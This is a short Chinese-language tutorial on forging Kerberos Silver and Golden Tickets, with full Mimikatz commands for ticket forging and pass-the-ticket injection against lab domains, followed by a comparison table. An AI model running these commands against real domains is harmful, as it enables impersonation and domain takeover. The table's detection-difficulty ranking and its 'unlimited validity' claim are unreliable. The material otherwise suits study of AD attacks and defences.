[域权限维持 & 票据攻击] Silver Ticket 白银票据制作原理及利用方式

### 域渗透中的白银票据与黄金票据 #### 白银票据 (Silver Ticket) 的配置与伪造方法 白银票据是一种针对特定服务的伪造 Kerberos 票据。它允许攻击者冒充某个用户身份来访问指定的服务，而无需获得整个域的控制权。 以下是伪造白银票据的过程： 1. **收集目标信息** 需要获取目标域的信息，包括域名 (`test.lab`) 和 SID (`S-1-5-21-...`)[^3]。还需要知道目标服务名称（如 `LDAP`）、目标主机名以及用于加密的目标账户哈希值（通常是 NTLM 或 RC4 密钥）。 2. **生成白银票据** 使用 Mimikatz 工具生成伪造的 LDAP 服务票据，并将其保存到文件中： ```bash mimikatz "kerberos::golden /domain:test.lab /sid:S-1-5-21-2196907948-52438630-2517523304 /target:DC.test.lab /service:ldap /rc4:065c43c4ca3bfba69038978836565ffe /user:administrator /ticket:silver.kirbi" ``` 3. **注入票据** 将生成的白银票据注入到当前会话的内存中以便使用： ```bash mimikatz "kerberos::ptt silver.kirbi" ``` 通过上述操作，攻击者可以伪装成管理员身份访问目标服务器上的 LDAP 服务[^2]。 --- #### 黄金票据 (Golden Ticket) 的配置与伪造方法 相比白银票据，黄金票据提供了更广泛的权限——它可以绕过 TGT 获取阶段直接创建有效的 TGT 票据，从而实现对整个域资源的无限制访问。 其主要步骤如下： 1. **提取 krbtgt 账户密码散列** 这一步通常依赖于已有的高权限凭证或者通过其他漏洞完成。例如，在拥有 Domain Admin 权限的情况下可以从 Active Directory 数据库导出 krbtgt 散列值。 2. **生成黄金票据** 利用 Mimikatz 创建自定义的有效期无限长且不受时间戳约束的 TGT： ```bash mimikatz "kerberos::golden /user:Administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /id:500 /ptt" ``` 此命令将自动加载新生成的黄金票据至当前进程环境变量中[^4]。 --- #### Kerberos 攻击技巧对比分析 | 特性 | 黄金票据 | 白银票据 | |--------------------|-----------------------------------|------------------------------| | 影响范围 | 控制全域能力 | 局部服务能力 | | 所需条件 | Krbtgt hash | Service account credentials | | 复杂度 | 较高 | 中等 | | 检测难度 | 更难 | 易被发现 | 尽管两者都基于相同的原理即滥用Kerberos协议机制,但由于作用层面不同所以在实际应用中有各自适用场景. ---